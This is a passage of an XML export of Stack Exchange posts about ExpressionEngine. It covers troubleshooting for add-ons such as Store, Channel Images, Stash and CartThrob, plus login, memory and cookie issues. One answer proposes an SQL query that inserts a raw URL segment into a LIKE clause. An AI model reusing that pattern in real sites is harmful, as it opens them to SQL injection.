  <row Id="16829" PostTypeId="2" ParentId="16815" CreationDate="2013-11-16T19:31:21.900" Score="1" Body="&lt;p&gt;Thanks a lot for the replies!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set my &lt;code&gt;$config['is_system_on'] = 'n';&lt;/code&gt; in my config.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cache is off, it could not cause this problem. And I cleaned the cache of all the browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is caused by a addon, extension, module, but i don't know wich one. So I found a solution, disabe all the extensions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['allow_extensions'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;With &lt;code&gt;$config['is_system_on'] = 'n';&lt;/code&gt; and &lt;code&gt;$config['allow_extensions'] = &quot;n&quot;;&lt;/code&gt;  the offline template is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i have to find which is the extension that prevent the system to be turned off.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="28" LastEditDate="2013-11-17T19:36:41.473" LastActivityDate="2013-11-17T19:36:41.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16830" PostTypeId="2" ParentId="16815" CreationDate="2013-11-16T19:51:20.040" Score="5" Body="&lt;p&gt;I was almost certain that Custom System Messages was causing this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template offline message could be set in the preferences, but it was not. As Custom System Message has a greater priority over EE offline template, and no template was set, it was not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template was set inside Custom System Message&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is solved.&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="28" LastEditDate="2013-11-17T19:36:50.600" LastActivityDate="2013-11-17T19:36:50.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16834" PostTypeId="2" ParentId="16785" CreationDate="2013-11-17T10:28:14.707" Score="1" Body="&lt;p&gt;The &lt;code&gt;search:on_sale=&quot;yes&quot;&lt;/code&gt; parameter hasn't been implemented in Store 2 yet, due to the complexity of the new global sales functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mimic this behaviour you should be able to use the &lt;code&gt;on_sale&lt;/code&gt; conditional like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:search channel=&quot;products&quot;}&#xA;    {if product_details:on_sale}&#xA;        &amp;lt;!-- product details --&amp;gt;&#xA;    {/if}&#xA;{/exp:store:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This parameter will be added back in the next version of Store 2.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-17T10:28:14.707" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16835" PostTypeId="2" ParentId="16736" CreationDate="2013-11-17T11:18:56.543" Score="1" Body="&lt;p&gt;It's not possible to add different shipping prices to product variations using Store's built in features. You have two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Write an extension using the &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;extension hooks&lt;/a&gt; to change the shipping price based on what the customer has selected.&lt;/li&gt;&#xA;&lt;li&gt;Create separate products for digital/print versions of your magazines, and use categories to separate them. That way you can add additional handling charges to the print versions.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-17T11:18:56.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16837" PostTypeId="1" AcceptedAnswerId="16848" CreationDate="2013-11-17T21:06:07.003" Score="1" ViewCount="934" Body="&lt;p&gt;Problem solved.  If you are already logged in and log in again the return does not WORK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using this form the return is always redirected to the home page but it should use the redirect tag.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;/courses/online/53&quot;}&#xA;&amp;lt;input name=&quot;username&quot; class=&quot;form-login&quot; title=&quot;Username&quot; value=&quot;&quot; size=&quot;30&quot; maxlength=&quot;2048&quot; id=&quot;username&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;login-box-name&quot;&amp;gt;Password:&amp;lt;/div&amp;gt;&amp;lt;div id=&quot;login-box-field&quot;&amp;gt;&amp;lt;input name=&quot;password&quot; type=&quot;password&quot; class=&quot;form-login&quot; title=&quot;Password&quot; value=&quot;&quot; size=&quot;30&quot; maxlength=&quot;2048&quot; id=&quot;password&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;span class=&quot;login-box-options&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;1&quot; value=&quot;1&quot;&amp;gt; Remember Me &amp;lt;a href=&quot;{path=login/forgot_password}&quot; style=&quot;margin-left:30px;&quot;&amp;gt;Forgot password?&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;image&quot; name=&quot;submit&quot; value=&quot;Submit&quot; src=&quot;/images/login-btn.png&quot;  style=&quot;margin-left:90px;&quot; /&amp;gt;&#xA;{/exp:member:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-11-18T13:32:45.260" LastActivityDate="2013-11-18T13:32:59.933" Title="login form always returns to home page" Tags="|login|redirects|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16838" PostTypeId="2" ParentId="14823" CreationDate="2013-11-17T21:34:29.293" Score="2" Body="&lt;p&gt;Until we get a better autosave fix from ellislab I went ahead and make a really simple extension that integrates the autosave plugin for CKeditor into wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension uses the &lt;a href=&quot;http://ckeditor.com/addon/autosave&quot; rel=&quot;nofollow&quot;&gt;ckeditor autosave plugin&lt;/a&gt;, which saves the content of the wygwam fields into local storage as you type, and prompts you to import any missing content on pageload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is helpful to people:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/familiar-studio/Wygwam-Autosave&quot; rel=&quot;nofollow&quot;&gt;https://github.com/familiar-studio/Wygwam-Autosave&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2013-11-17T21:34:29.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16839" PostTypeId="1" AcceptedAnswerId="16843" CreationDate="2013-11-17T22:06:35.950" Score="3" ViewCount="247" Body="&lt;p&gt;A client of mine just reported getting the following error when trying to edit one specific entry via the EE control panel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Allowed memory size of 134217728 bytes exhausted (tried&#xA;  to allocate 71 bytes) in [server path&#xA;  removed]/codeigniter/system/database/DB_result.php on line 49&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I've seen memory errors on this site in the past it's been due to users trying to upload images via Channel images in safecracker that are way too large. I've identified which images belong to this entry and temporarily deleted them via FTP but that has not solved the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I can't edit the entry on front or backend due to the memory error I don't know how to find out what's wrong with it and debug the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone familiar with these memory errors and know how I could find out what's the problem?&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="982" LastEditDate="2013-11-18T06:43:35.380" LastActivityDate="2013-11-18T11:08:55.450" Title="Memory error crippling site. Ideas for how to debug?" Tags="|error|channel-images|memory-limit|memory|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16840" PostTypeId="2" ParentId="16839" CreationDate="2013-11-18T01:41:35.153" Score="3" Body="&lt;p&gt;A couple of things to try: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you increase PHP's memory limit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - since you mentioned Safecracker - is this an older site - and are you using anything other than Channel Images for your images? I've had issues with Imgsizer and switching to CE image helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, can you either delete or turn off the entry via the db directly to get back into the cp? &lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-11-18T01:41:35.153" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16841" PostTypeId="1" CreationDate="2013-11-18T03:23:25.627" Score="1" ViewCount="56" Body="&lt;p&gt;I am running a ticket sales setup with store for an online event and would like to display the total number of products sold via a template to feed a live display of total tickets sold, is there any way for me to display the total number of products sold?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I could display ALL products sold and not just a set of products, but in the future dates spans as well as specific products would be nice to define.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2013-11-22T23:36:06.893" Title="Expresso Store - Total sales in template" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16842" PostTypeId="1" CreationDate="2013-11-18T07:29:54.600" Score="0" ViewCount="267" Body="&lt;p&gt;I have these set in my forgotten email email notifications template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{name},&#xA;&#xA;To reset your password, please go to the following page:&#xA;&#xA;{reset_url}&#xA;&#xA;If you do not wish to reset your password, ignore this message. It will expire in 24 hours.&#xA;&#xA;{site_name}&#xA;{site_url} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foobar@gmail.com,&#xA;&#xA;To reset your password, please go to the following page:&#xA;&#xA;http://qux.com/?ACT={AID:Member:reset_password}&amp;amp;id=FPeUNsWS&#xA;&#xA;If you do not wish to reset your password, ignore this message. It will&#xA;expire in 24 hours.&#xA;&#xA;Qux&#xA;http://qux.com/ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you look at the url, {AID:Member:reset_password} is not parsed. Why?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-18T12:05:01.793" Title="Forgotten password link is not parsed properly" Tags="|email|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16843" PostTypeId="2" ParentId="16839" CreationDate="2013-11-18T08:10:00.900" Score="5" Body="&lt;p&gt;The most common Publish Page DB error for site where member can publish they entries is happens because spammers registered too many accounts. And Publish page just going down when it trying to load  the authors list. In Safecracker you don't have author list field, so it's why this issue is not effected on SC form. But you can tested it just trying to open Member list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As temporary solution is setup &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Include Members in PUBLISH page multi-author list?&quot; = NO&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for your default member group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the main action is to close your site from spammers and cleanup the exist DB.  For protection you can use add-ons like &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot;&gt;Snaptcha&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For cleanup DB from Spammers I used different queries based on what I see in DB and site specific. Most spammers can be removed by analyzing bio field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/MaxLazar/7281376#file-gistfile1-txt&quot;&gt;My queries examples&lt;/a&gt; - needs to be carefully with using this (and make backup first), but you can delete more then 90% spammers this way. &lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="932" LastEditDate="2013-11-18T11:08:55.450" LastActivityDate="2013-11-18T11:08:55.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16844" PostTypeId="2" ParentId="16842" CreationDate="2013-11-18T11:58:10.887" Score="1" Body="&lt;p&gt;&lt;code&gt;{AID:Member:reset_password}&lt;/code&gt; should be replaced with an action ID. If it's not, it means the action ID likely isn't present in your actions database table. Check your actions table rows against these. Add whatever may be missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJdkd.png&quot; alt=&quot;actions table rows&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-18T12:05:01.793" LastActivityDate="2013-11-18T12:05:01.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16845" PostTypeId="2" ParentId="16802" CreationDate="2013-11-18T12:34:53.617" Score="2" Body="&lt;p&gt;I'm afraid I cannot reproduce this problem. Logged in/out, cookies enabled or disabled, I find that the cached items are generated only once until they expire. Tested with both EE 2.6.1 and EE 2.7.2 and Stash 2.4.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rule out a server vs php timezone configuration issue (where the expiry date may fall in the the past of the server) please try with &lt;code&gt;refresh=&quot;0&quot;&lt;/code&gt; (never expires).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned you are using a third party cache-breaking extension. Please remove this extension entirely from your system folder and make sure it is not listed in the &lt;code&gt;exp_extensions&lt;/code&gt; table (if it is, delete the record). Make sure that the Stash extension IS installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please truncate your &lt;code&gt;exp_stash&lt;/code&gt; table, and delete your cookies for the testing domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new template with only your code above in it, and view it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you still have the problem? If so, as you are using &lt;code&gt;scope=&quot;site&quot;&lt;/code&gt; the session_id in the stash table for each variable should be &lt;code&gt;_global&lt;/code&gt;. Is that the case or do you see a long string of characters?&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2013-11-18T12:39:56.080" LastActivityDate="2013-11-18T12:39:56.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16846" PostTypeId="1" AcceptedAnswerId="16850" CreationDate="2013-11-18T13:14:38.440" Score="1" ViewCount="118" Body="&lt;p&gt;having a bit of a problem with a field type and trying to pass in tag data.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my template i have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{entries ...} {field} {keys}{key}{/keys}{/field} {/entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however when i do a &lt;code&gt;var_dump($tag_data)&lt;/code&gt; in the &lt;code&gt;replace_tag()&lt;/code&gt; function i am getting false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however a &lt;code&gt;var_dump($data)&lt;/code&gt; if producing the expected data in the same function..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional:&#xA;i have already tried a tag pair in the same format as&#xA;&lt;code&gt;&#xA;{myfield:option}&#xA;    Tag data here&#xA;{/myfield}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="619" LastActivityDate="2013-11-18T17:30:49.313" Title="field Type no passing tag data to replace_tag function" Tags="|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16847" PostTypeId="1" CreationDate="2013-11-18T13:16:14.957" Score="2" ViewCount="154" Body="&lt;p&gt;I'm sure this is some obvious setting that I cannot find, but I've had no luck after consulting the documentation and settings so here goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Control Panel for Expresso Store 2.0.6, I do not have any options available to edit the products in 'bulk' via the Inventory tab. Several hundred products are listed and paged correctly, but the table doesn't look like this &lt;a href=&quot;https://exp-resso.com/docs/control_panel_inventory.html&quot; rel=&quot;nofollow&quot;&gt;screenshot from the documentation&lt;/a&gt;  - it's missing the 'plus', sale price and sale price enabled columns, and my price column is a fixed value not a form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this might be occurring? I'm using Store 2.0.6 as upgraded from 1.X.&lt;/p&gt;&#xA;" OwnerDisplayName="user1991" LastActivityDate="2013-11-19T10:49:39.500" Title="Expresso Store Inventory Control Panel Layout" Tags="|expresso-store|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16848" PostTypeId="2" ParentId="16837" CreationDate="2013-11-18T13:32:59.933" Score="3" Body="&lt;p&gt;Problem solved.  If you are already logged in and log in again the return does not WORK&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-11-18T13:32:59.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16849" PostTypeId="1" AcceptedAnswerId="16872" CreationDate="2013-11-18T13:41:27.320" Score="3" ViewCount="82" Body="&lt;p&gt;Currently I am using categories to allow an entry to be filtered for the areas in which it is available. &#xA;Therefore, as such I am by default selected most categories, and this is becoming tedious!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched Devot-ee and other places, but cannot find anything that would allow for the &quot;select all&quot; facility on categories so that they can be deselected for the areas that are not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative would be to allow the functioning of the parent category being ticked, and auto selecting all of its children elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise, or think of a better alternative here? Crucially note that this is then searched on the front end, so that ability needs to remain in an efficient manner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, N&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-11-19T02:52:07.373" Title="Category Field - Select All, or All Children" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16850" PostTypeId="2" ParentId="16846" CreationDate="2013-11-18T14:25:52.847" Score="4" Body="&lt;p&gt;You have to add the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html#EE_Fieldtype%3a%3a%24has_array_data&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;has_array_data&lt;/code&gt;&lt;/a&gt; property to your fieldtype class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class My_field extends EE_Fieldtype {&#xA;  public $has_array_data = TRUE;&#xA;&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastEditorUserId="617" LastEditDate="2013-11-18T17:30:49.313" LastActivityDate="2013-11-18T17:30:49.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16851" PostTypeId="2" ParentId="16758" CreationDate="2013-11-18T14:40:42.380" Score="2" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Please see the accepted answer above from Dylan as an approach for handling this type of functionality.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;nonprofit_tech's suggestion to try using a &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/using/style_set.html&quot; rel=&quot;nofollow&quot;&gt;custom style set&lt;/a&gt; &lt;em&gt;does&lt;/em&gt; work, but it involves a two-step process: the content administrator must first add the custom wrapper from the style set dropdown, and then embed the media via the toolbar's media embed button. Again, this works, but places more of a burden on the administrator who may or may not be very tech savvy, and if you accidentally navigate outside of the empty wrapper element, you might not embed the media in the right place. Not an ideal solution, but here's a sample of the code that I wrote to test out that theory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.stylesSet.add('custom-styleset',[{&#xA;  name: 'Embed Wrapper',&#xA;  element: 'div',&#xA;  attributes: {'class': 'inline-media'}&#xA;}]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another solution to this is to edit the minified &lt;code&gt;ckeditor.js&lt;/code&gt;, but this is &lt;strong&gt;not&lt;/strong&gt; recommended by the folks at Pixel &amp;amp; Tonic, as this file would likely be overwritten by updating the plugin in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you really want to do this, you can add a line to that file to add a class to the element that wraps the embedded media. In the current build of the plugin, the code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div=b.document.createElement(&quot;div&quot;);&#xA;div.setHtml(this.getContentElement(&quot;iframe&quot;,&quot;embedArea&quot;).getValue());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To which I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div.setAttribute(&quot;class&quot;,&quot;inline-media&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the final code looked like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div=b.document.createElement(&quot;div&quot;);&#xA;div.setAttribute(&quot;class&quot;,&quot;inline-media&quot;);&#xA;div.setHtml(this.getContentElement(&quot;iframe&quot;,&quot;embedArea&quot;).getValue());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this is &lt;strong&gt;not&lt;/strong&gt; recommended, as changes to this file will likely be overwritten if the plugin is updated in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that a better solution to this issue will be to create my own embed button that replicates the functionality of the default embed button, but also wraps the embedded content in the markup that I need to have.&lt;/p&gt;&#xA;" OwnerUserId="2364" LastEditorUserId="2364" LastEditDate="2013-11-19T15:16:24.313" LastActivityDate="2013-11-19T15:16:24.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16852" PostTypeId="1" CreationDate="2013-11-18T14:41:10.170" Score="2" ViewCount="108" Body="&lt;p&gt;I'm trying to create an Expression Engine loop (channel entries) that outputs an unordered list with each list item being an individual entry. Easy enough. But I'd also like each list item it outputs to have a unique class. For example, li class=&quot;column_one&quot;, li class=&quot;column_two&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can the channel entries tag do this? or do I have to add the classes with javascript?&lt;/p&gt;&#xA;" OwnerUserId="1862" LastActivityDate="2013-11-19T06:17:09.540" Title="giving each item in a EE loop a unique class without javascript?" Tags="|html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16853" PostTypeId="2" ParentId="16852" CreationDate="2013-11-18T14:54:13.680" Score="9" Body="&lt;p&gt;Surely you just output somehting like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;unique_{entry_id}&quot;&amp;gt;What ever you are outputting here?&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or perhaps use {count} or similar?&lt;/p&gt;&#xA;" OwnerUserId="1114" LastActivityDate="2013-11-18T14:54:13.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16854" PostTypeId="1" AcceptedAnswerId="16856" CreationDate="2013-11-18T15:27:17.037" Score="1" ViewCount="95" Body="&lt;p&gt;I had client of mine contact me this morning about them not being able to login to the CP of the site. I thought at first it was a cookie/session issue, but after having them clear their browser history numerous times, try other browsers, etc., it was doing the same. So I asked for their password and tried locally myself and the same thing was happening, it would just redirect back to the login page. However, I'm able to login since my user is in the &lt;strong&gt;Super Admin&lt;/strong&gt; group. Anyone else experience this before or know of any fixes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-11-18T16:12:50.173" Title="Non Super Admins users can't login?" Tags="|control-panel|login|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16856" PostTypeId="2" ParentId="16854" CreationDate="2013-11-18T16:12:50.173" Score="1" Body="&lt;p&gt;I found the culprit to be Zoo Flexible Admin. More &lt;a href=&quot;http://devot-ee.com/add-ons/support/zoo-flexible-admin/viewthread/11182&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-11-18T16:12:50.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16857" PostTypeId="1" AcceptedAnswerId="17271" CreationDate="2013-11-18T16:19:37.747" Score="1" ViewCount="141" Body="&lt;p&gt;Product (Add-On): Channel Images&lt;br&gt;&#xA;Product (Add-On) Version: 5.4.9 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine Version: 2.7.2&lt;br&gt;&#xA;MSM Install?: No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After updating Channel Images to 5.4.9 in order to mitigate a bug present in its implementation with Zenbu, I've run into a new issue. When uploading content with Channel Images, my images are able to be uploaded to their buckets, but the system is not seeing them on the other side. I just uploaded a bunch of images in a test entry, verified they existed on the correct bucket, but went to check on the control panel, and the system says it can't find the images! Any idea what's going on there? This is a definite blocker for me and my client right now.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-11-30T02:46:25.113" Title="Channel Images on Amazon S3 is not retrieving the pertinent images" Tags="|channel-images|s3|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16858" PostTypeId="2" ParentId="16803" CreationDate="2013-11-18T16:23:10.300" Score="1" Body="&lt;p&gt;Sounds like this would be an issue with anything using POST variables in the EE query module and using pagination, not just with the Rating module. What if the search term was in the URL as a regular segment and you used that in the EE module? eg. &lt;a href=&quot;http://mysite.com/rating/search/keyword/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/rating/search/keyword/&lt;/a&gt;&lt;strong&gt;great&lt;/strong&gt;, then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_rating WHERE my_review_field LIKE '%{segment_4}%'&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately Rating does not have a search feature built-in. I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-18T16:23:10.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16859" PostTypeId="1" CreationDate="2013-11-18T16:31:46.590" Score="1" ViewCount="174" Body="&lt;p&gt;I'm looking for some hidden configuration settings that will allow me to disable XSS filtering when using Cartthrob. The global EE config item is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2013-11-19T10:06:20.327" Title="Is it possible to disable XSS filtering on Cartthrob?" Tags="|cartthrob|config|xss|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16860" PostTypeId="1" CreationDate="2013-11-18T17:23:29.847" Score="0" ViewCount="68" Body="&lt;p&gt;During registration the {exp:profile:register} tag checks for duplicate screen names, however when editing an existing profile with the {exp:profile:edit} tag it does not appear to check for duplicates therefore letting me create duplicate screen names. Does anyone know if this is a bug or working as expected. I have tested this with the default Profile:Edit templates.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2013-11-19T06:08:54.903" Title="Duplicate screen names with Profile:Edit" Tags="|profile-edit|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16861" PostTypeId="2" ParentId="16860" CreationDate="2013-11-18T17:41:15.163" Score="0" Body="&lt;p&gt;ExpressionEngine's own registration process checks for duplicate screen names. So, Profile:Edit should be doing so as well. It's possibly a bug or oversight that it doesn't do so upon editing.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-18T17:41:15.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16862" PostTypeId="2" ParentId="15541" CreationDate="2013-11-18T18:41:50.580" Score="3" Body="&lt;p&gt;After a few weeks of attempting to track down this bug, we finally found the culprit was misconfigured cookie_domain setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our config file, we dynamically set the cookie domain so cookies work with our various MSM sites:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain']            = '.' . preg_replace('#^www\.(.+\.)#i', '$1', $_SERVER['HTTP_HOST']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;During our server switch, we began using RightScale templates to dynamically create our msm index.php files.  The new templates wrongly included the malformed cookie_domain config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['cookie_domain'] = '*.sub.domainname.com'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because the cookie was being set for a non-existent tertiary domain, the cookie never matched, thus the cart technically didn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After removing the incorrect cookie_domain from our MSM index files, the issue was resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you're having similar issues, make sure your cookies are set properly!&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2013-11-18T18:41:50.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" 